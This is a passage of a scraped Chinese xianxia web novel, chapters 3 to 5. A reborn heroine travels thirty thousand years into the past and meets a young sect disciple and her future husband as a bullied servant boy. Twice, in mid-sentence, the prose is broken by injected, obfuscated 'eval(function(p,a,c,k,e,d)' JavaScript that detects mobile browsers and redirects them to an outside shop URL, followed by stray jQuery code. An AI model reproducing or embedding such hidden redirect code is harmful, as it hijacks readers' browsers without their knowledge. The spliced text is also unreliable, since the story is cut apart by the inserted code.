《重生反派夫君少年时》 3. 第 3 章 沈汐月是被颊边的细微痒意扰醒的。 眼睫轻颤间,她缓慢睁开眸子,入目便是一只周身羽毛浑黑的乌鸦,长喙正抵在她脸庞。 四目相对,沈汐月吓得一哆嗦。 混沌的神思瞬时便清醒了大半,纷乱的记忆渐渐回笼。 她不是……死了吗? 与她爹和满宗门弟子一道,被那盲眼仙长不由分说便杀个干净,还累得她夫君为她殉情同葬。 思及此处,沈汐月心下一阵难过,一双漂亮的眼眸亦暗淡下去。 许是察觉她气息尚存,那乌鸦不甚情愿地移开喙,振翅离去。 玄影一晃,沈汐月的视线亦随之飘向周遭,留意起自己身处的境况。 似乎是一处荒山野岭。 此时天色暗沉如墨,唯天际处翻着抹极浅的鱼肚白,星子渐次隐没,遥遥望去只镶着道朦胧的金线,瞧不清晰是残月方落,还是日头初升。 风过林梢,寒意瑟瑟。 沈汐月此时身上穿着的是最后时玉无烬为她更换的那件粉色桃花纹小襦裙。 放在此地略显单薄了些,沈汐月没忍住被冷意激得打了个寒颤,下意识搂紧自己,搓了搓手臂。 随即便意识到,自己不仅死去后又活了过来,还无端端地出现在了旁的地方。 她强撑着冻得发僵的身体,从地上爬起来。 抖落抖落裙摆上沾染的泥垢与枯叶。 吸吸鼻子,一时有些委屈。 这一身是年节时新买的,此前还不曾穿过呢。 这便弄脏了。 待她回去,定要叫她夫君好好洗洗…… “夫君!爹爹!” 沈汐月一面轻颤着缩紧身子,一面试图唤道。 她侥幸地想,既然她死后能够到来此处,会不会她夫君与她爹也同她一样? 回声在昏暗的山林里经久不息。 拂动枝杈簌簌,振落枯叶片片。 良久无人回应。 沈汐月难免有些失落,眸光渐黯,但还是强打起精神来,指尖凝起一小抹光团,将周遭照亮。 眸中盈着水汪,忍住对黑暗的怯意,摸索着在密林里穿行,找寻出口。 “头儿!人在那儿!” 一个粗犷的男声兀地在她头顶炸响。 沈汐月惊得周身一颤,抬首循声望去,但见几步开外的小山丘之上,赫然站着一伙儿身着黑衣、面上蒙着黑巾的壮汉,简直是将“我非善类”四个大字写于了面上。 倒不是她以貌取人,实在是他们这身行头,打眼瞧去怕是没人会不这般去想。 沈汐月忙熄灭手中灵火,站在原处不敢再动。 但很快,她便意识到,他们并非是在说她,而是藏身于另一侧草垛里的少女。 素手轻轻扒开枝梢,借着朦胧的微光望去。 少女瞧着与她一般的年岁,一张小脸沾染泥污却难掩明丽姿容,墨黑鬓发亦松散开来,垂落在肩臂,满头珠钗松松垮垮地坠着,身上着一件红色云锦小袄。 应当是位顶顶富贵人家的小姐。 少女显然亦是怵极了他们的,慌乱间跌坐在地,手脚并用不住地后退,双手胡乱抓起掉落在地的金簪子,颤抖着指向他们,嗓音都在发抖:“你们……不要过来!” 那伙壮汉见她这般,面面相觑了眼便齐齐笑了开,俨然是分毫不将她的威胁放在眼里的。 其中一人更是嚣张地三两步走上前,逼近手执金簪的少女。弯腰俯身,屈指一弹,便分毫不费力地将她握在掌心的金簪子击飞出去。 随即便是又一阵哄笑。 少女紧咬下唇,泪珠子瞬时积满眼眶。 沈汐月终究看不下去,将爹爹与夫君从前时常与她交代的,助人以前要先看顾好自身周全之言统统抛之脑后。 提步便行出去,牢牢将那少女护在身后。 素手轻抬,捻指作诀。 对面的几个壮汉到底是寻常凡人,素日鲜少能碰见修仙之人,观她这般,皆是半信半疑地蹙眉警觉。 其实于修行一道上,沈汐月亦只是三脚猫功夫,若是当真同他们打起来,单凭她那点子微末灵力,怕是还真真敌不过他们的肉搏。 她强装镇定地维持着施法的姿态,指尖聚起一团灵火,试图以此唬退他们。 同时不忘微微侧首,压低声音同那少女道:“你先走。” 不知是林间风声太疾,掩过了她的声音,使她所言未能顺利传入少女耳内。还是那少女实在骇得狠了,以至腿脚发软,半步也挪不动。 沈汐月并未听见身后之人有何动静。 万般无奈之下,她尽力将体内本就无几的灵力悉数使出来,将指尖那簇灵火催得更旺三分,下颌微扬,虚张声势道:“谁敢再过来一步,休要怪我不客气了!” 只是这等威胁之言由她生来绵软婉转的嗓音讲出,难免减了几分威慑。 几个壮汉见她如此情状,虽说心下犹然存疑,却究竟顿住步子,没再动作。 两边众人便这般僵持着。 夜风拂过枝头,枯叶婆娑坠落在他们脚侧,徒衬得四下愈发死寂。 不知再过去多久,久到沈汐月的小腿站得发僵,指尖跃动的灵火亦因灵力渐渐微薄而摇曳欲灭。 她轻咬下唇,知晓不能再这般拖下去了。 趁着对方也有些站不住、神思稍弛之际,蓦地转过身,牵起少女的手就跑。 少女似乎也被她猝不及防的动作惊了一瞬,踉跄间下意识弯腰想去拾起掉落在地的珠宝金簪。 沈汐月回首瞧了眼,却并未因此停下脚步。 只一面拉着她疾走,一面好言劝她:“眼下比起这些身外之物,还是保全性命更为要紧。” 少女倒也听劝,闻言点点头,便不再去顾那些。 沈汐月紧紧牵着少女的手,在漆黑如墨看不清路径的山林里,单凭着直觉,深一脚浅一脚地胡乱奔走。 直至实在力竭,膝弯酸软乏力,两人适才堪堪驻足在一颗老槐树下,倚着粗壮的树干,短暂调整气息。 细细密密的喘息声没入沉沉的夜色。 不知因何缘故,那伙壮汉似乎并未追上来。 她实在是累得紧了,没心思去细想。 只想着,大抵是跟丢了罢。 又过去许久,四下全然黑透,依旧无人追来。 沈汐月便屈膝蹲下,捻着裙摆席地而坐,胡乱摸黑拾起几片枯叶,聚拢成小丘,将体内最后一点灵力转化为灵火,点燃枯叶,烧起篝火。 火苗随徐风微动,照亮了环绕二人周遭的一片小天地,同时将冷气烘暖了些。 她旋眸望向旁侧同样疲劳至极的少女,温声关切两句,随后道:“他们应当是不会找来了。今日实在太晚,天都黑透了,你先将就着小憩一会儿吧,我来守夜。” 少女当是累得连说话的力气都不剩下,只道了句谢谢便不再推脱,阖上眼,依着树干沉沉睡去。 呼吸声渐渐匀缓,细微得几不可闻。 沈汐月轻手轻脚挪到火堆旁侧,暖黄色的火苗忽明忽暗,映照在她面颊,衬得她一双眸中似有波光粼粼流转。 往昔皆是她爹爹与夫君护着她、照顾她,今日还是她生平第一次去保护、照看旁人呢。 亦是第一次,她真真切切地意识到,离了他们的庇护,修为浅薄如她,在这世上,竟是连寻常凡人都能够轻易碾死的存在。 思绪渐渐飘远,沈汐月不合时宜地想。 若是他们在侧,见到她今日这般勇敢,是会欣慰地夸夸她,还是骂她怎地把自己陷于那般危险的境地? 应当都不会的。 他们只会心疼她,保护她……再抱抱她。 愈是这般想,思念便愈发强盛。 爹爹……夫君…… 你们在哪儿呢…… 眼眶与鼻尖一阵发酸,泪珠子又要不争气地涌出来。她努力吸吸鼻子,仰起脸,将盈盈的水汪困在眼眶之中,顽强地不肯落下。 点点星子缀在浑黑的长夜,四下寂无。 正举首望天,忽见遥遥苍穹处璨目的银光一闪。 紧随其后便是方才那几个面目凶恶的壮汉一个接着一个地从半空重重砸在地面,震得尘土飞扬。 篝火晃动间,沈汐月几乎是下意识地迅速起身,胡乱抹擦了把脸,将薄泪拭去,护在少女身前,兀自蹙眉警觉。 少女亦被惊醒,怔怔地目视前方。 壮汉们却连半分眼神也不曾分予她们,而是背对着她们,朝着另一侧虚空的方向不住地磕着头,口中惨声念叨着求饶之语。 沈汐月有些莫名,抿抿唇,小声嘀咕:“莫不是全都中了邪了?” “非也。”清冽明朗的男声自她头顶响起。 沈汐月抬起首,迎着皎洁的月华,但见一袭云锦白裳的少年负手执剑,从遥远的天际翩然降落。 五官俊朗、身形萧萧,通身皆散着一股子矜贵不凡的气度。 尤其是那双眼,生得极好,清凌凌的,干净澄澈却透着几分骄矜的寒意。 且有些……说不清道不明的眼熟之感。 但任凭沈汐月搜刮遍识海之中的记忆,也未能对应出这样一个人来。 与那少年一并前来的,是一名富贵人家丫鬟打扮的姑娘,足尖甫一点地,便迫不及待地直奔少女的方向而去,嗓音带着明显的哭腔:“小姐!” 晃神间,她身后的少女只是安抚性地拍了拍那丫鬟的手背,便小跑上前。 眼看就要扑进那少年怀中,却见后者倏忽眼光一凛,毫不怜香惜玉地往旁侧稍了半步。 少女应当是早已习惯了他这般态度,也不恼,稳住身形后便腆着笑容再度贴上去,揪住他袖摆,可怜兮兮地控诉方才的险情。 她讲得绘声绘色,似是生怕他不相信,说到激烈处,少女还小跑着回过头折返,半挽着沈汐月胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100954|195707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊,将她推至少年面前。 “不信,你可以问她,”少女嘟着嘴,脆生生地道,“她一直与我待在一处,她可以作证!” 沈汐月猝不及防被她拉过来做人证,她甚至不肖抬眸便能够清楚地感受得到那少年落在她身上灼灼如炽的审视目光。 她紧张地咽了咽口水,如实答道:“确是如此。” 顿了几息,便见那少年弯起唇角,发出一声意味不明的轻笑:“一个谎话连篇,一个……” 他的视线若有似无地飘过她,又状若无意地移开。 后半句话自薄唇吐出:“笨得可爱。” 沈汐月不明所以,却见那少年抬了抬剑,刃尖随意指向不住叩首的壮汉们其中一人。 “就是你了,你来说。” 那壮汉忙不迭地止住动作,抬起头,结结巴巴地解释道:“仙人,不干我事啊!我……我只是收钱办事……对,收钱办事……” 那少年似乎懒得听他讲这些有的没的,蹙起眉梢,有些不耐烦了。 壮汉暗暗觑了眼他的神情,额上冷汗涔涔,忙改口直奔重点:“就是她!” 他毫不犹豫地扬手指着少女的方向,“是她许我们一千两银子,叫我们陪她演这一出的!” 其余壮汉眼见事已至此,皆纷纷倒戈,连声附和。 少年似笑非笑:“一千两?” 少女瞳眸圆瞪,显然是没想到那帮子壮汉会这般轻易便将她交代了出去。蠕了蠕唇瓣,似是想要当即冲上前与他们理论一番,却又碍于少年在侧不敢有所动作。 她讪讪抿唇,指尖绞着袖摆,眼神飘忽不敢觑他,苍白无力地道:“你听我解释……” “解释?”少年眉梢轻扬,唇角微翘,“解释什么?” “解释你如何故意买通山匪作势要抓你,骗我来救,”不待少女支支吾吾答出个所以然来,便见他幽幽抬眸,不紧不慢地继续说下去,“还是解释你堂堂碧梧国公主,怎地就追我追来了玄洲。” 少女被他一连几句追问砸得小脸煞白。 沈汐月则是在场唯一为此事感到讶然的。 原来……他们竟是演的么? 她竟是分毫也没有瞧出破绽来。 似是猜到她现今所想,少年笑道:“如今可知晓我方才为何那般说了?” 沈汐月被自己蠢得赧然,极小声地答他:“知晓了。” 少年摆摆手:“都滚吧。” 那群壮汉如蒙大赦,连连点头哈腰地落荒而逃。 余下他们三人相顾无言。 少女撅着嘴,丹唇几经开阖,似是还想要说些什么,却被少年一个冷厉的扫视悉数堵回口中。 他转向沈汐月,语气稍缓了些:“可是迷路了?” 沈汐月连连点头。 少年又问:“要去何处?我送你罢。” 闻他此言,沈汐月眼眸倏忽一亮。 此地于她来说全然陌生,亦不知离她家远近作何。若是她自己去寻人打听、再加上路途辗转波折,少说也要耽搁上十天半月。若是他能送她一程,那自然再好不过。 她忙答道:“清水镇,明月宗。” 少年一默,显然是并不知晓此地为何。 沈汐月倒也没有太多意外。 毕竟,不论是明月宗,还是清水镇,都实属籍籍无名之地,他不曾听闻过倒也合乎情理之中。 沉吟片刻,少年道:“如今天色已晚,姑娘不若先随我们回玄清宗去歇息一夜,待明日晨早我再遣人为你打听……” 他后头又说了些什么,沈汐月一个字也不曾听进去。 她只听到他说,玄清宗。 “玄清宗?”她重复地念了一遍。 少年并未觉察出她神情有异,顿首道:“确是玄清宗,”他稍滞了一瞬,“姑娘可是未曾听闻过?” 沈汐月摇摇头。 玄清宗的鼎鼎大名,她怎可能没有听闻过。 只是,这名字每每被人提及时,素来是与大魔头玉无烬牵扯在一处的。 原因无他,玄清宗乃是三万年前修仙界万千宗门之首。亦是玉无烬曾经于此修行、后来又堕入魔道、弑师屠宗之所。 这般说来…… 此宗门早该在三万年前便覆灭了才是。 适逢云雾渐散,月芒泼洒,映得沈汐月一张小脸更添几分白,她直愣愣地望着少年:“不知如今是何年月?” 少年被她问的一怔,虽不解,却仍礼貌答道:“修真历七千三百年。” 沈汐月瞬时眼眸圆睁。 以往在明月宗,每每夫子讲授史学时,她都听得昏昏欲睡,却唯独关乎大魔头玉无烬的部分是个例外。 许是因着她当初虽不知晓她夫君便是那魔头玉无烬本尊,但总归是同名同姓世间无几的缘分,是以她还是比旁的内容平添了几分关注。 这个时间点她记得清明。 竟……当真是三万年前! 4.第 4 章 风渡梳林,叶影婆娑。 徐风捎带回些许方被篝火驱散的凉意,沈汐月没忍住打了个寒颤,素手缩进衣袖,指尖捏住袖口。 纷乱的思绪明晰了许多。 三万年前。 彼时,她原本的身体还没有降生。 不,莫说是她,便是她爹、乃至明月宗,估摸着都尚未出现于这世间。 唯一存在的,便是玉无烬。 而此刻的他亦还没有成为后来那个罪行滔天、恶名昭著、人人喊打的大魔头。 虽说时至如今,沈汐月仍旧不甚清楚自己现在究竟算是死了还是活着,更不清楚缘何跨越乾坤时序到来此地。 但是她素来是既来之、则安之的性子。 觉着与其终日纠结那些她想不明白的问题徒增烦扰,倒不若将事情往好了想。 她想,若是她能够于此间阻止三万年前的玉无烬成魔,是不是就可以从根源上避免掉未来的一切悲剧的发生? 如此,她、爹爹、夫君和师弟师妹们,就都可以好好活着,喜乐安宁。 她定定神,努力回想起来。 明月宗教授史学的夫子是一位白发白须、成日身着一身洁净得没有一丝污垢的白衣裳的老头儿。老头儿极爱干净,但时常有贪玩的师弟趁着他背过身讲学讲得专注,猫着腰,偷偷钻在长桌下往他袍裾上拿着沾满墨汁的毛笔画小乌龟。 沈汐月一向是不敢这般做的,毕竟掌门便是她爹,夫子若想要告状那可太过容易了。她每每只会在后排寻个紧挨着墙根不显眼的座位,干坐着望天、溜号…… 夫子撕下一截宣纸,揉搓成团,丢出去,不轻不重砸在她发顶,拉回她逐渐飘远的思绪。 沈汐月揉揉头顶记忆里被砸中的位置。 不对,她要想的不是这个。 她不由失笑,她这一认真思考些什么便极易走神的毛病啊,当真是难改! 思绪重新聚拢,混沌的记忆碎片渐渐变得清晰。 夫子说:“玉无烬此魔,现世于三万年前。父母身世不详,成魔原因不详。曾是玄清宗一寻常杂役弟子,后幸得掌门慕常明赏识,收为亲传的二弟子、明朔君萧长珩的师弟。” “他也曾是盛名一时的正道仙首,后一朝堕入魔道,却忘恩负义地虐杀了往日悉心教授其功法的师尊,连朝夕相伴的师兄弟姊妹都不放过,曾经鼎盛的玄清宗千载基业尽然崩颓。” “赶来支援并参与围剿他的三百宗门悉数死于其手。自此,三界震动,玉无烬这一名字便成了仙门百家闻之色变的禁词。” 即便已然亲眼目睹玉无烬使用魔气,沈汐月依旧很难将他与史书上面六亲不认的魔头联系到一处去。 她相信,他不是那般的人。 史书又不一定全然正确。 沈汐月再抬眸时,恰逢一片细长的枯树叶晃晃悠悠飘动,正遮住面前少年清冽的双眸。 便是这一晃眼,灵光忽至,她念想之中方才便觉的少年眉宇间的面熟之感蓦地更具切了三分。 一个连她自己都觉荒唐的念头浮出识海,她舔了舔略微干涩的唇瓣,素来温软的声线干巴巴,睫羽眨得频繁:“敢问仙长名讳?” 少年明朗不羁的笑颜渐渐与三万年后冷若寒霜的盲眼仙首两相重叠,却又莫名割裂。 他道:“玄清宗掌门座下大弟子,萧长珩。” 萧长珩。 再次听见这个名字,即便先前已然有所猜测,如今亲耳从他口中得到证实之时,沈汐月的瞳眸依旧微不可察地颤了颤,心跳霎时如擂鼓。 剑刃划破咽喉寒凉入骨,爹爹死不瞑目倒在地上的闷声响彻耳畔,师弟师妹们尚且温热的血污飞溅在她身上的滚烫烙入魂魄…… 面魇不自觉白得似霜雪,指尖没入掌心掐出道道细小的弯弯月牙儿亦未有所察觉。 直至手背被身侧之人轻触了触,再抬首便迎上少女歪着头略有几分困惑的目光,后者抿抿唇,语含关切:“你没事吧?” 沈汐月适才回过神,赶忙收回目光。 好在此刻天色昏沉,她又站在逆光的方向,眸中神情作何旁人并不能看得清晰。 她努力挤出一个与平素无异的温软浅笑,摇摇头:“我无事。” *** 长剑化作银芒,倏然划破夜空,变幻为一叶飞舟落在四人面前。依次踏上,飞舟升起渐入云海,自漫天星河间穿行而过。 沈汐月还是第一次坐飞舟呢。 乖乖巧巧坐在船尾,双手搭在膝上,时不时微微探首眺望周遭的景象,瞳眸被璨璨星子映得明亮。 那少女则提着裙摆,凑到萧长珩身侧,叽叽喳喳地说个不停。 倒不是沈汐月有意偷听人家谈话,实在是这小舟本就地儿不大,那少女亦并未收敛声音,是以她委实很难不听个大概。 确如萧长珩所言,那少女是凡界碧梧国的九公主,名楚沅芷。是碧梧国君与君后的老来幺女,自幼千疼百宠、衔金叼玉。 因着前些日子萧长珩下山历练途径碧梧国之时恰巧救了她一命,自此便被这位小公主一见钟情,非要以身相许不可。 萧长珩自是拒绝了。 奈何楚沅芷从前被宠惯了,自幼想要之物素来没有得不到的。 萧长珩前脚刚走,她后脚便瞒着父皇母后、避开满宫侍卫,只带着贴身丫鬟芙宁和一个小包裹跟了上去。 眼瞅到了玄洲地界,还未能同他再度搭上话,楚沅芷有些耐不住了。这才想出了这等子昏招儿来。先是以重金买通一伙镖头扮演山匪、又是叫芙宁去寻他“求救”。 只是不曾料到中间会出沈汐月这档岔子来,本应是英雄救美的桥段,却平白叫她抢了去。 思及此处,沈汐月有些赧然地埋下头。 刚巧楚沅芷那边同萧长珩说了半天也没能得到回应,嘴里有些干涩,偏开首正欲唤芙宁拿水,便迎上沈汐月的视线。 她倒是并未将此事放在心上,眉眼弯弯地俏声唤她:“小恩人。” 沈汐月头一遭被人这般叫,一时间更羞了,粉雕玉琢的小脸白里透着圈圈红晕,鸦睫忽扇扇,嗓音温软道:“我叫沈汐月,唤我月儿便是。” “好啊,月儿,”楚沅芷也不推脱,爽快地改了口,“你也可以直接叫我沅芷。” 沈汐月亦笑着回应:“沅芷。” 这是她重生来到三万年前的第一个朋友呢。 两个小姑娘家家的友谊就是建立的这般简单。 手拉着手天南地北地畅聊了一路,楚沅芷甚至忘了再次去叨扰萧长珩。 直至飞舟驶入玄清宗地界,鞋履稳稳落在光泽细润的玉石地面上,两人适才依依不舍地松开手。 是时已是翌日清晨,云雾缭绕,仙鹤低鸣。 玄清宗当真不愧是三万年前的修仙界第一大宗门,不仅坐落于连绵的仙山之上,辖地比之明月宗亦要宽阔上足足数千倍,便连周遭林立环绕的通天柱亦尽然由细润白玉所雕,廊檐皆是流光溢彩的异色琉璃瓦。 沈汐月看得惊奇,明眸晶亮,睫羽扑簌簌。 楚沅芷亦在边上东摸摸西触触,朱唇启启阖阖,嘟囔着这儿瞧起来比他们皇宫还要气派。一根根白玉柱上的云纹神兽雕得仙气飘飘的,不似她们皇宫,处处皆是鎏金红漆,怪俗气的。 直至感受到身后萧长珩冷若冰霜的视线,她才讪讪收回手,噤了声。 萧长珩抬手掩唇轻咳一声,开口打破宁静:“此地便是玄清宗了。” 他回首望向沈汐月:“沈姑娘。” 方才听她们谈了一路,他不聋,记性亦是极好,自然不肖再去问她的名姓。 他道:“我先带你去后山的客房,你且于此暂居些许时日,待我打听到你所言之处在何地后再送你回去。” 到底先前被他一剑封喉、又亲眼目睹爹爹与相伴十几年的师弟师妹悉数惨死他手的回忆犹然历历在目,沈汐月此时看他依旧有些微末的后怕与怨怼。 可她也清楚,三万年前的萧长珩对于未来之事一无所知,且时至目前对她并无恶意,反倒多有助益。 她偏开首,睫羽轻垂掩住眸中神情,没有迎接他的视线,只点点头,礼貌欠身:“多谢仙长。” 萧长珩应是并未觉察出她的异常,将她送至后山的一处闲置庭院,捏指作诀将小院儿收拾清净,又交代了几句诸如周遭的路径通向何处、每日膳堂几时开门之类的注意之言,便欲转身离去。 “仙长,”沈汐月倏忽唤住他,“我可否同你打听一个人?” 萧长珩顿首:“何人?” 沈汐月道:“玉无烬。” 因着史书未曾言明玉无烬究竟是何时拜入的玄清宗掌门座下,她并不知晓他如今是何境况。 萧长珩一默:“抱歉,沈姑娘,我此前并未在宗门听闻过此人。”他顿了顿,“不过待我回去会帮你打听一二。” 他这般说,沈汐月便清楚了。 那看来玉无烬此时还未被玄清宗掌门收入座下,尚只是一个籍籍无名的杂役弟子。 她不合时宜地想,她夫君从前无论什么时候在她面前都是体面又稳重的,她还不曾瞧见过他落魄的模样呢。 她道:“那便麻烦仙长了。” 萧长珩望着面前漂亮娇憨的小姑娘,眸光沉了沉。其实她态度是极好的,嗓音温软,唇瓣含笑,似三分春风般暖和。 但他总觉得,她看他的眼神,莫名的冷。 他实在没忍住多问了一句:“不知这位玉公子是你的何人?” “夫君”一词在喉间滚了又滚,沈汐月答他:“一个同乡的朋友。” 萧长珩并没有追问下去。 楚沅芷与芙宁则被安排住在旁侧的另一处小院子。 萧长珩临旋身前说,他已经给碧梧国去了信,叫她这两日老老实实待在这里,等着她父皇母后遣人来接。 听着那边楚沅芷气呼呼地抱怨说她才离宫几日,才不要就这样回去呢! 沈汐月没忍住吸吸鼻子。 楚沅芷不想回家,她却是想的。 她好想爹爹,想夫君,想师弟师妹们,想她的床,想她的漂亮裙子,想她的七彩灵花和小兔子。 楚沅芷的声音渐渐低了,直至空气重新恢复静谧。想来应当是絮絮叨叨了一整天,口舌疲乏得紧,回屋里歇息去了。 沈汐月也进了屋。 如同往昔与夫君四处游玩住客栈时一般,她下意识想要先安顿行囊。 探手摸了个空,适才回过神来。 她坐在屋舍的窗牖前,支起手拖着桃腮,放了会儿空,思绪飘荡回方才未完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104382|195707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之处。 想要阻止三万年前的玉无烬成魔谈何易事。 首当其冲的,她并不知晓玉无烬成魔具体的时间是什么,更不知晓他因何成魔。 修仙界的魔分为两种。 一种是生来便是魔,只是隐没于人群之中,身份尚未暴露;另一种则是原本的修仙者因为遭受巨大的打击、被怨恨吞没,又或是修炼急于求成而走火入魔。 史书记载模糊其词,并未确切言明玉无烬究竟属于哪一种。 沈汐月抿了抿樱唇,想着,既然她已来了此处,便寻机会接近少年时的玉无烬,陪在他身边。 从前皆是他护着她,往后便换作她来保护他。 至于如何阻止他成魔,车到山前必有路嘛。 再推开门时,已是傍晚。 日头将落未落地悬在遥遥的山头,天地交汇之际金灿灿的一片,归巢的雀鸟成行掠过,唯遗风拂枝梢,叶瓣簌簌。 沈汐月前脚方踏出院门,便闻得约莫从山脚的方向传来三声沉闷却清晰悠长的钟声。 她记得早先时候萧长珩同她交代过,玄清宗的晚膳设在酉时,彼时山脚的石钟会响上三声,告示众弟子可以前往膳堂用食了。 她先是去了旁侧的院落,叩了叩门,本想要叫上楚沅芷和芙宁一道前去膳堂。奈何金尊玉贵的小公主声称吃不惯那些,遣了芙宁去山下的酒楼买上几道招牌菜式,还盛情邀请沈汐月一并去她那吃。 沈汐月刚想答应下来,右眼皮蓦地没由来跳了跳。冥冥之中似乎有个意识告诉她,今日定要前去膳堂一趟,会有于她很重要的事情发生。 她也不知因何缘由,敛了敛睫眸,婉言推拒了楚沅芷的邀约,准备独自依照先前萧长珩所言向通往膳堂的小径行去。 临行前,楚沅芷突然推开院门,怀里抱着件华贵漂亮的红狐狸绒披风,不由分说便罩在她身上。 她道:“半晚风凉,莫要冻着了。” 沈汐月适才反应过来,她自重生回到三万年前以来,便一直历经辗转波折,始终没来得及置办衣裳,此时依旧身着那身单薄的小襦裙。 她没有推拒,笑着答谢。 小径蜿蜒,虽是山路,却齐齐整整地由白玉石砖铺就,砖面镌刻着云纹,踏在上面不易跌倒。两侧则栽着成片的翠绿竹荫,似紫若朱的晚霞透过竹叶交叠的缝隙漏作光束,洒在地面砖石之上。 沈汐月伸手摊开,暖黄的光影映在她掌心。 刚刚巧,是月牙形状的。 此地的山径四通八达、交织融叠。 行着行着,她便有些摸不清方向了。 胡乱拐了几个弯道,沈汐月兜兜转转再度回至原点。抬首望了望天,红日已然有一半没入山间。想来以如今的时辰,纵使她当真侥幸寻到了正确的道路,待赶去膳堂,应当也不剩下什么吃食了。 少吃一顿倒也无甚大碍。 这般想着,她旋过身便欲往回走。 脚步倏然一顿,方才兜了那么些个圈子,她如何还记得回返的路。 抬手轻抵额心,抿了抿略微干涩的唇瓣,沈汐月想,再过一会儿应当便会有弟子用完晚膳途径此处,到时她再同他们问路便是。 许久未见人影,沈汐月等得有些无聊了。 绞了绞手指,似乎想到什么,她倏忽站起身,再度踏上白玉砖搭就的小径。幼稚地如同孩童时一般,提着裙摆,小心翼翼地旋着身刻意避开道道光束,只踩在阴影之内。 兀自玩得正欢儿,忽闻不远处的竹林间传来一阵窸窸窣窣的声响,似是一群人途径踩碎了遍地枯叶。 终于等来了人,沈汐月心下一喜,抬步刚想赶过去,便闻得那边一人蓦地发出一声嗤笑,那声音如何听也着实算不得友善。 她不自觉放缓了步子,轻手轻脚地靠近。 素手轻轻拨开竹枝,沈汐月看清了里边的情境。 约莫七八人,皆穿着玄清宗统一的宗服,腰间别着佩剑。她半眯着眼眸看得仔细了些,那些佩剑都是木头制成的,想来他们在玄清宗中级别并不高,应当是外门弟子一类的。 他们似乎将一名级别更低的弟子围绕在中间。 视线被竹枝与他们的背影全然遮掩住,沈汐月连那人的半片衣角都看不见。 外圈为首的弟子双手掐在腰侧,高抬着下巴,俨然一副以鼻孔视人的架势。他垂眼睨着被围在中间的弟子,满是怨气地絮叨了好半晌,最后傲慢地冷哼:“今日碰上我们,算你倒霉!” 沈汐月算是听明白了。 被围在中间的少年是一名最低阶的杂役弟子,因素日阴郁寡言、性情孤僻、从不主动与任何人交流,久而久之便成了弟子里被孤立的对象。 更是因着每逢节日休沐,他从未归家亦不曾有亲人来探视,大家便都猜测他应当是个孤儿。 如此,便是被欺负了,也无人来为他做主。 当真是个极好的靶子。 围着他的那群弟子显然是这般想的,他们在别处受了气,又得罪不起旁人,便来拿他撒气。 少年一语未发,沉默得突兀。 那鼻孔弟子一拳头打在棉花上,似乎对他这般反应极为恼怒,骂了句脏的,提拳便招呼上去。 他这一晃身,沈汐月适才看清了这位被欺负的小可怜儿的脸。 5.第 5 章 流云披锦,落日衔红。 金芒丹霞揉着竹影晃落,堪堪映在少年脸庞,尘泥污痕掩不住熟悉的眉眼,苍白瘦削亦遮不住曾无数次相拥契合的轮廓。 瞳眸微圆,鸦羽一瞬不瞬,时间仿若在顷刻间凝滞不复流淌,连呼吸都忘了继续,心脏猛烈跃动似是要撞破胸腔。 沈汐月近乎是一眼便认出来。 他是玉无烬,她的阿烬,她的夫君啊。 是三万年前、尚只是未及弱冠少年的玉无烬。 一身灰扑扑脏兮兮的旧袍子笼在少年过分清瘦白皙的骨架上,头发因着长期营养不善而干枯毛躁,仅由一根粗布发带松松垮垮地系着,眉眼间较之三万年后的温润沉稳更添了几分稚嫩与少年气。 她就这般定定地站在原地,滚烫的视线贪婪地描摹着他的轮廓,仿佛忘却了周遭的一切,亦没了动作。 “找打!”那鼻孔弟子一面叫骂着,一面扬手便朝少年玉无烬的面颊狠狠扇去。 沈汐月呼吸一滞,一股子说不清是心疼、还是愤怒、又或是二者皆有之的情绪涌上心头,她几乎就要提步踏出掩身的竹枝。 却蓦地惊闻那鼻孔弟子方才尚还嚣张的声线倏忽发出一道凄厉的惨叫。 她再抬眸望去,便见玉无烬不知何时亦抬起首。 那张三万年后她再熟悉不过的、曾无数次贴近、耳鬓厮磨呼吸交缠、倾世俊朗的面庞之上,是她从不曾见过的狠戾与执拗。 他猛地扑向那鼻孔弟子,将之掼倒在遍地枯叶间。犬齿毫不留情地深深嵌入他的右臂,不顾后者疼痛难忍的哀嚎与挣扎,亦忽视其余弟子为迫使他松口而踹在他背脊的拳脚,狠狠咬合,生生撕扯下一块血肉。 殷红温热的鲜血霎时溅了他一脸,将他本就苍白失色的面容衬得愈发妖冶诡谲。 他叼着那块肉,齿尖发力,咯吱咯吱地咀嚼起来,末了吞咽入腹。 沈汐月被这一着实冲击的一幕惊得瞳眸圆睁,鞋履不自觉往后退了半步,怔愣了好半晌。 先前依照史书所言,她虽有所预料三万年前的玉无烬极大可能非是善类。但她念象之中的,实则依旧那个是与她朝夕相处、素日温良的夫君。 如今才算是当真亲眼见了,他亮着利爪与獠牙,像一只狼崽一般乖戾黑暗的过往。 那鼻孔弟子经此一遭再没了刚刚的狂妄,看向玉无烬的眼神亦从恃强凌弱的居高临下变得如同见了鬼一般。 他剧痛惊惧之下面容扭曲,重重捂着鲜血汩汩直冒的小臂,额上浸着虚汗,疼得连站都站不稳。 若非有旁侧另几名弟子搀扶着,怕是要一屁股跌坐在地,腿软得再站不起来了。 “怪物!”他颤抖着手,指着玉无烬的方向,忽然大喊一声。 其余弟子显然亦是吓得不轻,哆哆嗦嗦没了适才的气势,一行人再顾不得什么面子一类的,近乎是连滚带爬地抱头飞窜而去。 